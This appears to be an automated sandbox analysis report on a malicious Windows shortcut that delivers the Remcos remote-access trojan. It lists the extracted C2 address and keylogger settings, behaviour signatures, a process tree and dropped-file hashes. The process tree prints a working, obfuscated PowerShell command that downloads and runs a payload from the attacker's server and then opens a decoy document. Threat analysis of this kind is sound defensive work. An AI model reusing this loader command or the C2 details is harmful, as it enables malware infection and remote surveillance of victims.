Resubmissions

29-08-2024 11:25

240829-nh9xrs1bll 10

29-08-2024 10:50

240829-mxlcaaxdmh 10

29-08-2024 10:06

240829-l5ghmawbkg 10

29-08-2024 09:04

240829-k13dvstaqb 10

29-08-2024 08:36

240829-khyyqavaqn 10

Analysis

  • max time kernel
    429s
  • max time network
    431s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-uk
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-uklocale:uk-uaos:windows10-2004-x64systemwindows
  • submitted
    29-08-2024 08:36

General

  • Target

    brt_1_0147.doc.lnk

  • Size

    47KB

  • MD5

    8b3dc64090b0b26eda4f1195f493160d

  • SHA1

    bd0b4c1d9e8b84465714287727ba5293f9a8eb61

  • SHA256

    cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30

  • SHA512

    ddbe1ad300d613531b6ffcb9a8ff607b1e6e7cf676ce738c31d138e6154ff0ee3c1b8d4d8b67c8fec5da444c845b62475736c228eb89d3b013a3ddcb15365deb

  • SSDEEP

    48:88muavUQSbXTo87Cj3YMEDo/FoZaxCogDDo/LX7LdCZZGXu/dZZIa7x:88y8Nkgm3hX+UxCgLX7BuqQ

Malware Config

Extracted

Family

remcos

Botnet

feetfuck

C2

83.222.191.201:24251

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-XTJ1YO

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\brt_1_0147.doc.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4652
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo QMwlXCkteAQTQqnkaJqrUqs; echo QvYiYqvrrHquSStJfMRfSfWhN; echo bbOXmbTScxuUqnRAgrxICMaBVDaWjzRzRVcfkbymVEadrSAtp; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo smmOpvMyMQBsjhmNQati; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo XmLObXLAbAaEvFXwLygA; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/brt_1_0147.doc -OutFile brt_1_0147.doc; echo jKSqGTomhhZFxOMFkLZBsdHuhOCDBrMzMONLWouYJOCxTyelGMtYZGs; s''t''a''rt brt_1_0147.doc
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1500
      • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe
        "C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2044
        • C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:4524
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:3276
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              6⤵
              • Drops file in System32 directory
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:3552
              • C:\Windows\SysWOW64\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\jsuicyrodwwvmxnj.vbs"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:1416
      • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\brt_1_0147.doc" /o ""
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:5084

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\5bb54dbc

    Filesize

    1.2MB

    MD5

    79e47602f5053dea9863d27da5812fe4

    SHA1

    9e3885923c701161e5fac20748ddb108d90ba44b

    SHA256

    1181c7b6f8d186ddfe8b87213e3340768f851b63ebdbed889c01f0ae9fcd7ce4

    SHA512

    d54b0200a03ba24cd0d8396990e5f60478c536d186150f6a5841c0813b4251f9c13ab21c556ee3dad90c2f341fca2331ca5dcefb76192f20d7ae3b1656b67150

  • C:\Users\Admin\AppData\Local\Temp\TCD3DE.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_we0gdrv1.sh5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\jsuicyrodwwvmxnj.vbs

    Filesize

    324B

    MD5

    5969db124f530f24b0e1b305ca5a8291

    SHA1

    5eb79a70cc356a20ba39913489a5cdca36f83011

    SHA256

    3a4ae3a89b9c1d79fbef06dd969b1307837c0378966c5f7ceddafb1e4660a072

    SHA512

    0297ea245560c1b5fe64f5a3cd7769ea4e9f09dfc4cc4f16c8d96c5b5d846c8982458991aa143ea5a103436a03c5e7d5b7769b2b87bca5565e856de960e2e290

  • C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

    Filesize

    312B

    MD5

    92056a8de9c794892e6ab48c457c5a1f

    SHA1

    e9f266f24b50521745e9ad3b77573f1c00e5e27d

    SHA256

    4d854812e741936d32f33c6ea93fab1a88c95ac077eb21b4bace870e75349a02

    SHA512

    74cc3b1e9ab33646b9f01ee13f6988068648ad28c79defa2801a0589c1f3bcb889cea3592f291a506bd3c5402c4a194e4cdf2c66911b3baf8028f9bee376f1b0

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    1KB

    MD5

    4a069ff3bd88b2d283a8645a3d8c7373

    SHA1

    cf75c6abdd312f214401d84efc9fbc12a83f2a09

    SHA256

    5d26fdf6de3562058ff64ce739b839b4c6e5b672f8baa8fab6d04d39acfb3bb6

    SHA512

    576ca92ba45faf3b8a93117a1d1effc7d62ae032666b815248cd43d0a7b2450f7230b708931aacc03ea9b7550c5253f3356b24225b477775de48ea63ed290020

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    2KB

    MD5

    1af2227ec6686f89565a39fdd0e4d79b

    SHA1

    5b5572314d099e640db93d9f4b0421ef6eb05808

    SHA256

    fe4ed517f1e9a8dd8c0b4d602c5b3fc320e71c36e5665269e520b316fc1e7f2a

    SHA512

    2aa58607d88c6430da258580f994bd5109deb26b636d70b7fb2eb05eaae3435787a7c8d9dee618d4521d03ada5a818d03d318ad03f4695ba6db4bd97e29dfbf1

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe

    Filesize

    2.1MB

    MD5

    db7e67835fce6cf9889f0f68ca9c29a9

    SHA1

    5565afda37006a66f0e4546105be60bbe7970616

    SHA256

    dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738

    SHA512

    bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\ProductStatistics3.dll

    Filesize

    1.1MB

    MD5

    59c15c71fd599ff745a862d0b8932919

    SHA1

    8384f88b4cac4694cf510ca0d3f867fd83cc9e18

    SHA256

    c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2

    SHA512

    be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\RegisterIdr.dll

    Filesize

    1.4MB

    MD5

    6fdb2e9ca6b7a5ad510e2b29831e3bc8

    SHA1

    4a14ee9d5660eb271a6b5f18a55ac3e05f952c68

    SHA256

    f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38

    SHA512

    d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\kytarvx

    Filesize

    31KB

    MD5

    5dc69a3e2fda6cb740f363ef77edcc13

    SHA1

    c177fabf17346531e07d562be11915bf2822148a

    SHA256

    7c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621

    SHA512

    b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\nywrof

    Filesize

    1.0MB

    MD5

    471076308d78944d45ab35d37134134a

    SHA1

    05cf2cf6e5d11ce10425b14d68cda3246cc47263

    SHA256

    38d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b

    SHA512

    7f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3

  • C:\Users\Admin\AppData\Roaming\brt_1_0147.doc

    Filesize

    47KB

    MD5

    2616f33bfc84fecd6496c0e3bfbfb1b0

    SHA1

    e4f4fba392ba4a245415729a82aaa486ca31b2ba

    SHA256

    24fbc1c09ca302ed51429082130f7789d36c254c0fb165dd96c3f24b458536a4

    SHA512

    b5c585d7bbdce5e5c34447a311ccdb5b90e34cfd29671f2ebb05f01941e81ae7bcffbd42f5ed476e784684de70cb0fb67cedfd7e62c4c3b5cbe151fc6923dafb

  • memory/1500-2-0x00007FFFC2953000-0x00007FFFC2955000-memory.dmp

    Filesize

    8KB

  • memory/1500-18-0x00007FFFC2950000-0x00007FFFC3411000-memory.dmp

    Filesize

    10.8MB

  • memory/1500-20-0x000001A6BDA90000-0x000001A6BDAA2000-memory.dmp

    Filesize

    72KB

  • memory/1500-17-0x00007FFFC2950000-0x00007FFFC3411000-memory.dmp

    Filesize

    10.8MB

  • memory/1500-19-0x00007FFFC2950000-0x00007FFFC3411000-memory.dmp

    Filesize

    10.8MB

  • memory/1500-15-0x00007FFFC2953000-0x00007FFFC2955000-memory.dmp

    Filesize

    8KB

  • memory/1500-21-0x000001A6BDA70000-0x000001A6BDA7A000-memory.dmp

    Filesize

    40KB

  • memory/1500-14-0x00007FFFC2950000-0x00007FFFC3411000-memory.dmp

    Filesize

    10.8MB

  • memory/1500-13-0x00007FFFC2950000-0x00007FFFC3411000-memory.dmp

    Filesize

    10.8MB

  • memory/1500-76-0x00007FFFC2950000-0x00007FFFC3411000-memory.dmp

    Filesize

    10.8MB

  • memory/1500-3-0x000001A6A5860000-0x000001A6A5882000-memory.dmp

    Filesize

    136KB

  • memory/2044-51-0x0000000002F80000-0x00000000030F2000-memory.dmp

    Filesize

    1.4MB

  • memory/2044-79-0x0000000002F80000-0x00000000030F2000-memory.dmp

    Filesize

    1.4MB

  • memory/2044-77-0x0000000000400000-0x0000000000669000-memory.dmp

    Filesize

    2.4MB

  • memory/2044-78-0x0000000002C20000-0x0000000002D3E000-memory.dmp

    Filesize

    1.1MB

  • memory/2044-68-0x00007FFFE0AB0000-0x00007FFFE0CA5000-memory.dmp

    Filesize

    2.0MB

  • memory/2044-54-0x00000000748F0000-0x0000000074A6B000-memory.dmp

    Filesize

    1.5MB

  • memory/2044-46-0x0000000002C20000-0x0000000002D3E000-memory.dmp

    Filesize

    1.1MB

  • memory/3276-620-0x00000000748F0000-0x0000000074A6B000-memory.dmp

    Filesize

    1.5MB

  • memory/3276-141-0x00007FFFE0AB0000-0x00007FFFE0CA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3552-631-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-658-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-671-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-670-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-669-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-667-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-666-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-665-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-661-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-657-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-656-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-655-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-633-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-632-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-622-0x00007FFFE0AB0000-0x00007FFFE0CA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3552-623-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-625-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3552-628-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/4524-135-0x00000000748F0000-0x0000000074A6B000-memory.dmp

    Filesize

    1.5MB

  • memory/4524-87-0x0000000002B90000-0x0000000002CAE000-memory.dmp

    Filesize

    1.1MB

  • memory/4524-96-0x00007FFFE0AB0000-0x00007FFFE0CA5000-memory.dmp

    Filesize

    2.0MB

  • memory/4524-91-0x0000000002EF0000-0x0000000003062000-memory.dmp

    Filesize

    1.4MB

  • memory/4524-123-0x0000000002B90000-0x0000000002CAE000-memory.dmp

    Filesize

    1.1MB

  • memory/4524-124-0x0000000002EF0000-0x0000000003062000-memory.dmp

    Filesize

    1.4MB

  • memory/4524-122-0x0000000000400000-0x0000000000669000-memory.dmp

    Filesize

    2.4MB

  • memory/4524-94-0x00000000748F0000-0x0000000074A6B000-memory.dmp

    Filesize

    1.5MB

  • memory/5084-65-0x00007FFFA0B30000-0x00007FFFA0B40000-memory.dmp

    Filesize

    64KB

  • memory/5084-82-0x00007FFF9EA10000-0x00007FFF9EA20000-memory.dmp

    Filesize

    64KB

  • memory/5084-67-0x00007FFFA0B30000-0x00007FFFA0B40000-memory.dmp

    Filesize

    64KB

  • memory/5084-69-0x00007FFFA0B30000-0x00007FFFA0B40000-memory.dmp

    Filesize

    64KB

  • memory/5084-64-0x00007FFFA0B30000-0x00007FFFA0B40000-memory.dmp

    Filesize

    64KB

  • memory/5084-653-0x00007FFFA0B30000-0x00007FFFA0B40000-memory.dmp

    Filesize

    64KB

  • memory/5084-654-0x00007FFFA0B30000-0x00007FFFA0B40000-memory.dmp

    Filesize

    64KB

  • memory/5084-651-0x00007FFFA0B30000-0x00007FFFA0B40000-memory.dmp

    Filesize

    64KB

  • memory/5084-652-0x00007FFFA0B30000-0x00007FFFA0B40000-memory.dmp

    Filesize

    64KB

  • memory/5084-84-0x00007FFF9EA10000-0x00007FFF9EA20000-memory.dmp

    Filesize

    64KB

  • memory/5084-66-0x00007FFFA0B30000-0x00007FFFA0B40000-memory.dmp

    Filesize

    64KB